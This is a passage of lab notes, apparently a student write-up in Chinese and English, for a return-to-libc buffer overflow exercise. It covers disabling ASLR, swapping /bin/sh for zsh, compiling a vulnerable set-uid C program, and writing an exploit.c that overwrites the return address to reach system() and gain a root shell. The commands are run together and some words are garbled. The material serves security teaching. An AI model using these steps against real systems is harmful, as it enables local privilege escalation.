RETURN-TO-LIBC attack Experiment One, experimental description
缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。 不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序跳转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。
II. Preparation of the experiment
System User Name Shiyanlou
The lab building provides 64-bit Ubuntu Linux, and in this experiment we need to operate in 32-bit environments to facilitate the observation of assembly statements, so we need to do some preparation before the experiment.
1. Enter a command to install something that compiles a 32-bit C program:
sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev
2. Enter the command "linux32" into the 32-bit Linux environment. Enter "/bin/bash" Using bash:
Iii. Experimental Step 3.1 initial Setup
In Ubuntu and some other Linux systems, the initial address of random heap (heap) and stack (stack) is randomized using address space, which makes it difficult to guess the exact memory address, and guessing the memory address is the key to the buffer overflow attack. So in this experiment, we use the following command to turn off this feature:
sudo sysctl -w kernel.randomize_va_space=0
In addition, in order to further protect against buffer overflow attacks and other attacks using shell programs, many shell programs automatically abandon their privileges when called. Therefore, even if you can trick a set-uid program into invoking a shell, you cannot maintain root privileges in the shell, which is implemented in/bin/bash.
In a Linux system,/bin/sh is actually a symbolic link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:
sudo sucd /binrm shln -s zsh shexit
To prevent a buffer overflow attack, the most recent version of the GCC compiler sets the program compilation to a stack that is not executable by default, and you can manually set whether the stack is not executable at compile time:
gcc -z execstack -o test test.c #栈可执行gcc -z noexecstack -o test test.c #栈不可执行
The purpose of this experiment is to show that the "stack unenforceable" protection is not entirely valid, so we use "-Z noexecstack", or use the compiler's default settings without manually specifying it.
3.2 Vulnerability Procedures
Save the following code as a "RETLIB.C" file and save it to the/tmp directory. The code is as follows:
#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(FILE *badfile){char buffer[12];fread(buffer, sizeof(char), 40, badfile);return 1;}int main(int argc, char **argv){FILE *badfile;badfile = fopen("badfile", "r");bof(badfile);printf("Returned Properly\n");fclose(badfile);return 1;}
Then use the gcc -m32 -g -fno-stack-protector -o retlib retlib.c
default "stack non-executable" protection.
The GCC compiler has a stack protection mechanism to prevent buffer overflows, so we need to use –fno-stack-protector to close this mechanism when compiling the code.
The above program has a buffer overflow vulnerability, which first reads 40 bytes of data from a file called "Badfile" into a 12-byte buffer, causing an overflow. The Fread () function does not check the bounds, so overflow occurs. Because this program is a SET-ROOT-UID program, if an ordinary user exploits this buffer overflow vulnerability, he may gain ROOT shell. It should be noted that this program obtains input from a file called "Bad?le", which is controlled by the user. Now our goal is to create content for "Bad?le" so that when the vulnerability program copies this content into its buffer, a root shell is created.
We also need to use a program that reads the environment variables:
#include <stdio.h>#include <stdlib.h>#include <string.h>int main(int argc, char const *argv[]){ char *ptr; if(argc < 3){ printf("Usage: %s <environment var> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; printf("%s will be at %p\n", argv[1], ptr); return 0;}
Compile:
gcc -m32 -o getenvaddr getenvaddr.c
3.3 Attack Program
Save the following code as a "exploit.c" file and save it to the/tmp directory. The code is as follows:
#include <stdlib.h>#include <stdio.h>#include <string.h>int main(int argc, char **argv){ char buf[40]; FILE *badfile; badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111; *(long *) &buf[24] =0x22222222; *(long *) &buf[36] =0x33333333; fwrite(buf, sizeof(buf), 1, badfile); fclose(badfile);}
The code "0x11111111", "0x22222222", "0x33333333" is the address of bin_sh, System, exit, respectively, we need to get the next
3.4 Get memory address 1, get bin_sh address using the GETENVADDR program just now:
2. GDB obtains the system and exit addresses:
Modify the Exploit.c file and fill in the memory address you just found:
Remove the exploit program and the Badfile file that you just debugged and recompile the modified EXPLOIT.C:
rm exploitrm badfilegcc -m32 -o exploit exploit.c
3.5 attack
First run the attack program exploit, and then run the vulnerability program RETLIB, the success of the attack, gain the root authority:
20179223 "Linux kernel Fundamentals and analysis" 12th Week study notes